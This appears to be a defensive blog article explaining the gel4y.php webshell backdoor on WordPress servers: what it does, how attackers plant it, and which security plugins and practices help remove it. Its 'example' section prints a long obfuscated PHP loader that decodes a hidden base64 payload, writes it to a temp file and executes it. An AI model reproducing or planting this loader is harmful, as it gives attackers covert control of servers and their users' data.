Gel4y.php is a malicious PHP script file that is known to infect WordPress websites and servers. It is a type of webshell backdoor script that allows unauthorized access to a website’s server, enabling hackers to execute malicious commands and steal sensitive information. The primary purpose of gel4y.php is to provide a backdoor entry point for hackers to gain control over a website, allowing them to inject malware, steal data, and conduct other malicious activities.

The gel4y.php file is designed to bypass security measures and remain undetected on a server. Once uploaded, it can be used to execute system commands, upload and download files, and even create new user accounts. This backdoor script can also be used to inject malware, deface websites, and steal sensitive information such as login credentials and credit card numbers.

Gel4y.php is often uploaded to a website through vulnerabilities in plugins, themes, or other scripts. Once installed, it can be accessed remotely by hackers, allowing them to execute malicious commands and take control of the website. The file is usually hidden in a directory that is not easily accessible, making it difficult to detect and remove.

The presence of gel4y.php on a server can lead to serious security breaches, data theft, and website defacement. It is essential to detect and remove this malicious file to prevent unauthorized access to your website and protect your users’ sensitive information.

---

What Does gel4y.php Do and Its Purpose?

The gel4y.php file serves as a WebShell, a malicious script designed to allow attackers to execute commands on the infected server. Its purpose includes:

1. Server control: The script enables hackers to gain remote administrative access, bypassing legitimate login credentials.
2. Uploading additional malware: Once inside, attackers can upload further malicious files, such as spam scripts or ransomware payloads.
3. Data theft: Hackers use it to extract sensitive data, including user credentials, database information, or configuration files.
4. Persistence: By creating hidden backdoors like gel4y.php, attackers ensure they can regain access even if other vulnerabilities are patched.

This script is often deployed through exploitation of weak passwords, outdated plugins, or unpatched vulnerabilities in WordPress installations.

---

Do You Need gel4y.php on Your Server?

No, you do not need the gel4y.php file for your WordPress website or any legitimate server function. Its presence is a strong indicator of a compromise.

Removing gel4y.php will not disrupt your website’s functionality, as it is not part of the WordPress core, plugins, or themes. If this file exists on your server, you should treat it as an immediate threat and take steps to remove it and secure your site against further intrusions.

---

Why Hackers Target gel4y.php

Hackers and bots actively seek files like gel4y.php for several reasons:

1. Universal access: WebShells like gel4y.php provide hackers with complete control over an infected server, enabling them to execute a variety of attacks.
2. Exploitation of vulnerabilities: Weak security measures, such as outdated software or weak passwords, make it easier for attackers to plant such files.
3. Automated scanning: Bots are programmed to search for specific malicious files or known entry points, including WebShell scripts like gel4y.php.
4. Malicious intent: Once in control, hackers use these files to deface websites, host phishing pages, or launch Distributed Denial-of-Service (DDoS) attacks from your server.

The script’s ability to perform multiple functions makes it a prime target for cybercriminals seeking to exploit compromised WordPress websites.

---

What Does gel4y.php Contain, and How to Protect Your Website?

Gel4y.php contains malicious code that allows hackers to execute system commands, upload and download files, and create new user accounts. The file may also contain code that allows hackers to inject malware, deface websites, and steal sensitive information such as login credentials and credit card numbers.

The contents of gel4y.php may vary depending on the specific version and the intentions of the hackers who created it. However, most versions of gel4y.php contain code that allows hackers to:

• Execute system commands to gain control over the website and server
• Upload and download files to inject malware or steal sensitive data
• Create new user accounts to gain administrative access to the website
• Inject malware to steal sensitive information or conduct other malicious activities

The gel4y.php file typically includes the following malicious components:

1. Command execution tools: It allows hackers to run system-level commands remotely.
2. Database manipulation code: Scripts designed to extract or alter database content.
3. Hidden connections: Functions to create stealthy communication channels with the attacker’s server.
4. Obfuscation techniques: The code is often encoded or encrypted to evade detection by antivirus or security plugins.

Protecting Your Website

1. Use robust security plugins: Tools like Wordfence or Sucuri can scan for and remove malicious files.
2. Update software: Keep your WordPress core, plugins, and themes updated to close known vulnerabilities.
3. Harden file permissions: Restrict file and folder permissions to prevent unauthorized uploads.
4. Monitor server activity: Regularly check logs for suspicious activity, such as attempts to access gel4y.php.

---

Top 5 Security Apps to Remove and Protect Against gel4y.php

Here are five security tools that can help secure your WordPress website:

1. Wordfence: Offers advanced scanning, malware detection, and a robust firewall.
2. Sucuri Security: Provides real-time monitoring, malware cleanup, and proactive defense.
3. MalCare: A WordPress-focused malware scanner with automatic cleanup.
4. iThemes Security: Helps enforce strong file permissions and detect malicious activity.
5. All In One WP Security & Firewall: A free plugin offering file integrity monitoring and login lockdown features.

---

Example of a Malicious gel4y.php File

Here’s a basic example of what the malicious gel4y.php file might look like , This example script it’s from GitHub .

<?php error_reporting(0);goto PP; BK: function tC($ZJ) { goto rT; rT: $dL = "t\x65mpnam"("sys_g\x65t_t\x65mp_d\x69r"(), "\164\x6d\x70\137\x66\x75\x6e\x63"); goto hq; lJ: unlink($dL); goto Il; Il: return $dm; goto Uc; pM: $dm = (include $dL); goto lJ; hq: file_put_contents($dL, "\74\77\160\150\x70\40{$ZJ}"); goto pM; Uc: } goto dL; PP: function gW($F9) { goto TH; Gd: $ik = 0; goto T3; xN: Ky: goto lt; lt: $ik++; goto Gm; us: return $F9; goto zm; Z9: if (!($ik < strlen($F9))) { goto qK; } goto WS; TH: $F9 = base64_decode($F9); goto Gd; Gm: goto Fk; goto sR; sR: qK: goto us; T3: Fk: goto Z9; WS: $F9[$ik] = chr(ord($F9[$ik]) - 1); goto xN; zm: } goto BK; dL: Tc(gW("\x49\x53\105\x68\111\x53\x45\114\115\103\x73\x68\x49\123\106\x67\131\x47\102\x67\x59\x47\102\x67\x59\x47\102\x67\131\107\102\x67\x59\107\x42\147\131\107\x42\x67\x59\x47\x42\147\x59\x47\x42\x67\x59\107\102\147\131\107\102\x67\x59\107\x42\x67\131\x47\102\147\131\x47\x42\147\131\107\102\x67\131\107\102\147\x59\107\x42\x67\x59\101\163\x68\x49\123\105\x68\x66\x53\x45\150\125\x47\x4e\x6e\x64\156\122\153\131\156\x56\x6d\x5a\123\x46\x6a\x65\x69\106\x61\121\153\x77\x68\125\x58\x4e\167\x49\123\x34\150\x55\127\154\170\x49\126\102\x6a\x5a\63\x5a\x30\132\x47\112\x31\x63\x48\115\x68\x49\124\x4d\x76\x4d\x53\x38\x79\x4e\x53\x45\x68\x66\121\x73\150\x49\x53\105\x68\x66\x53\105\x68\x49\123\x45\x68\x49\x53\105\150\x49\123\x45\x68\111\x53\105\150\x63\x47\70\x68\x4d\172\105\172\116\103\64\171\115\x79\x34\x78\116\103\105\171\117\104\x73\x32\x4e\x7a\163\x30\116\151\105\x68\x49\x53\x45\150\x49\x53\105\x68\111\123\x45\150\111\x53\105\150\146\121\x73\x68\111\x53\x45\x68\146\123\x45\150\111\123\106\111\x61\x6e\126\112\x64\x6d\x4d\x37\111\x57\154\61\x64\130\x46\x30\x4f\172\x41\x77\141\107\x70\61\141\130\132\152\114\62\122\x77\x62\x6a\102\x78\x62\x43\x35\x6e\x63\172\x42\x36\131\x6d\x78\170\x63\x33\101\x75\143\130\101\x68\111\123\x45\x68\146\x51\163\x68\111\123\105\x68\x66\127\102\147\131\107\x42\147\x59\107\x42\147\131\x47\x42\147\131\x47\x42\x67\x59\107\x42\147\131\107\x42\x67\x59\x47\x42\147\x59\x47\102\147\131\107\x42\147\131\107\102\x67\131\x47\x42\147\131\x47\102\x67\131\107\x42\147\x59\107\102\147\131\x47\x42\x67\131\x47\x42\x67\x66\x51\x73\162\x4d\x41\x73\150\141\110\x42\x31\x63\x43\106\110\145\104\167\x68\121\152\x63\67\111\127\144\62\142\x32\122\x31\x61\156\102\166\111\130\x56\63\x4b\123\x56\x7a\125\x79\x6f\150\146\x43\x46\157\143\x48\x56\x77\111\x55\125\64\x50\x43\x46\161\x52\104\163\150\x4a\126\164\x45\x49\x54\x34\150\x4b\x57\160\x76\132\107\x31\x32\x5a\127\131\150\112\130\x6f\62\113\x6a\x77\150\x61\110\x42\61\x63\x43\106\x78\141\152\167\x68\124\62\163\x37\111\130\x4e\x6d\144\x58\132\x7a\142\x79\x45\x6c\127\x30\x51\x38\x49\127\x68\167\144\130\x41\150\141\154\115\x38\x49\x55\x56\x48\117\171\106\x6e\141\x6d\61\x6d\131\x48\106\x32\144\127\102\153\143\107\71\61\132\155\71\61\144\x43\x6b\x6c\145\x6a\x59\164\111\x53\116\70\x4a\130\116\x54\x66\x69\x4d\161\120\103\106\x6f\143\110\126\x77\x49\127\160\x45\120\103\x46\106\x4f\x44\x73\x68\112\x58\x6f\62\111\x54\64\150\144\127\x5a\x75\143\x57\x39\x69\x62\151\x6c\60\x65\156\x52\x67\x61\x47\x5a\61\131\x48\x56\x6d\x62\x6e\x46\x67\132\127\x70\x7a\113\123\157\x74\x49\123\x4e\x64\145\x54\x67\x31\130\x58\153\x33\x5a\x56\61\x35\x4f\x44\106\x64\x65\124\132\x6e\130\124\111\x31\x4e\x31\60\171\116\172\x5a\x64\x65\x54\144\155\130\130\153\63\116\103\x4d\161\x50\103\x46\x6f\x63\110\126\167\111\125\126\110\x50\103\x46\170\x61\152\163\x68\144\x6d\71\x74\x61\155\71\163\113\123\x56\x36\x4e\151\157\x38\x49\127\x68\x77\144\130\101\150\124\62\163\x38\111\x57\160\124\x4f\171\x46\x2b\111\127\x68\x77\144\x58\101\150\144\152\105\70\x49\x55\x64\64\x4f\171\105\154\141\126\x51\x68\120\151\x46\153\144\156\x4e\x74\131\107\x70\x76\141\x6e\x55\x70\113\152\x77\150\x61\110\102\61\143\103\106\125\143\x6a\167\x68\144\110\x67\67\x49\x53\126\172\124\x53\105\x2b\x49\127\122\62\x63\x32\61\x67\x5a\x6e\154\x6d\x5a\103\x6b\154\141\126\x51\x71\x50\x43\106\157\x63\x48\x56\x77\x49\126\102\x62\x50\103\x46\x51\x57\172\x73\150\132\x48\132\x7a\142\127\102\153\142\130\102\x30\132\151\x6b\154\141\x56\121\x71\120\103\x46\x6f\x63\x48\x56\167\x49\x55\x49\x33\x50\103\x46\125\143\152\163\x68\x5a\110\x5a\x7a\x62\x57\x42\60\x5a\x6e\126\x77\x63\130\x56\x67\x59\156\116\172\131\156\157\x70\112\127\x6c\125\114\123\x46\151\x63\63\x4e\x69\145\x69\x6c\x45\126\x6c\116\116\x55\x46\106\x56\131\106\x5a\x54\124\123\x45\53\120\x79\105\x6a\x58\x54\111\x32\115\126\60\171\116\172\x56\144\145\x54\147\61\x58\x54\111\x33\x4d\x56\60\x79\x4e\x7a\122\144\x65\x54\x52\x69\130\x58\x6b\x7a\x5a\61\61\65\115\62\144\144\115\152\x63\172\x58\130\x6b\x33\x4d\154\61\x35\117\104\x68\x64\116\152\x64\x64\x65\124\143\64\x58\x58\x6b\x33\117\154\x30\x79\x4e\x7a\x56\144\x65\x54\143\x35\130\124\x49\63\x4e\154\61\65\x4e\x7a\116\144\145\124\x67\x32\x58\x54\111\x33\116\x46\x31\65\116\172\x5a\x64\115\x6a\143\x7a\x58\x58\153\63\x4e\x46\60\x79\x4e\x6a\150\x64\x4d\152\x59\63\x58\130\153\x34\x4e\126\61\65\116\x7a\132\144\x4d\152\131\63\x58\130\153\64\116\x56\x30\62\116\61\61\x35\116\172\x52\144\x65\124\144\x6e\130\x58\x6b\63\132\x56\60\x32\117\x46\60\x33\x4d\x31\61\x35\116\104\x4e\x64\x65\124\x59\65\130\x58\x6b\64\115\126\60\171\x4e\x6a\x56\x64\x65\124\x64\156\x58\x54\x49\62\x4d\154\x30\171\x4e\172\x56\144\x65\x54\143\62\x58\x54\x49\x33\x4d\x31\x30\171\x4d\x54\122\x64\115\152\x63\172\x58\124\111\61\116\154\x30\171\116\x7a\x68\x64\116\x6a\132\x64\145\x54\x59\x31\130\x58\153\x33\116\x6c\61\65\x4e\172\112\144\115\x6a\131\62\x58\130\x6b\x7a\x5a\x31\60\171\x4d\124\x68\x64\x65\124\x63\x32\x58\x54\111\x32\x4e\126\60\63\x4e\x56\x30\171\x4f\x44\x4a\144\116\x6a\132\144\145\124\126\x6c\x58\x58\153\x33\117\154\61\65\116\x32\132\144\115\x6a\x59\x79\130\x58\153\x7a\132\126\x30\x79\x4d\172\122\144\115\x6a\131\170\130\x58\x6b\x33\116\x6c\61\65\x4e\62\122\144\145\124\144\x6b\130\x58\x6b\x7a\132\x56\60\x79\x4d\124\116\x64\115\152\x55\x79\x58\x54\x49\61\x4e\x46\61\x35\x4e\x32\x4e\x64\x4d\x6a\x55\61\130\130\153\63\132\x31\x31\x35\x4e\x32\144\x64\145\124\147\x7a\130\x58\153\172\x5a\61\61\x35\x4e\172\126\144\x65\124\x63\x32\130\130\153\x34\116\x31\60\62\x4f\x46\x31\65\116\x7a\150\x64\x4d\152\x55\x32\x58\x58\153\x33\132\106\61\65\x4e\x7a\x4a\x64\x65\x54\147\66\130\130\x6b\172\x5a\x6c\x31\x35\117\104\x46\144\145\124\x63\65\x58\124\x49\x33\115\x53\x4d\x74\111\x55\x52\127\x55\x30\x31\x51\125\x56\x56\147\126\106\x52\116\131\x46\x64\x47\125\x30\x70\110\127\153\154\x51\126\x46\125\150\x50\152\x38\x68\122\x30\112\116\126\x45\x59\x74\x49\x55\122\127\125\x30\x31\121\x55\x56\x56\x67\x56\x46\x52\116\131\106\144\107\125\x30\x70\x48\127\x6c\106\x47\x52\154\115\150\x50\152\x38\x68\122\x30\x4a\116\x56\x45\131\x74\x49\x55\122\127\125\x30\x31\x51\125\x56\126\x67\125\60\x5a\x56\x56\154\x4e\120\126\126\116\x43\124\61\x52\x48\x52\154\115\x68\120\152\x38\x68\x56\126\x4e\x57\x52\x69\x6f\x71\120\103\x46\x6f\x63\x48\126\x77\111\130\x52\x34\x50\103\106\x32\115\x54\x73\x68\x64\x58\x63\x70\112\130\x4e\x4e\113\152\167\75"));

This simple script allows attackers to execute commands on your server by sending requests to the gel4y.php file.

---

• WordPress WebShell backdoor
• Malicious PHP script
• Unauthorized server access tool
• WordPress vulnerability file
• PHP backdoor script

The Threat of the Malicious PHP Script

Gel4y.php is a malicious webshell backdoor script that allows hackers to gain unauthorized access to a website’s server. This WordPress malware is designed to bypass security measures and remain undetected on a server, giving hackers control over the website and server.

The presence of gel4y.php on a server can lead to serious security breaches, data theft, and website defacement. Hackers can use this malicious file to inject malware, steal sensitive information, and conduct other malicious activities. It is essential to detect and remove gel4y.php to prevent unauthorized access to your website and protect your users’ sensitive information.

Gel4y.php is often uploaded to a website through vulnerabilities in plugins, themes, or other scripts. Once installed, it can be accessed remotely by hackers, allowing them to execute malicious commands and take control of the website. Regularly scanning your website for malware and keeping your software up-to-date can help prevent gel4y.php and other malicious files from infecting your server.

To protect your website from gel4y.php and other malicious files, it is essential to use strong passwords and authentication mechanisms, limit access to sensitive areas of your website, and use a reputable security plugin or service to monitor your website for suspicious activity. By taking proactive measures to protect your website, you can prevent security breaches and protect your users’ sensitive information.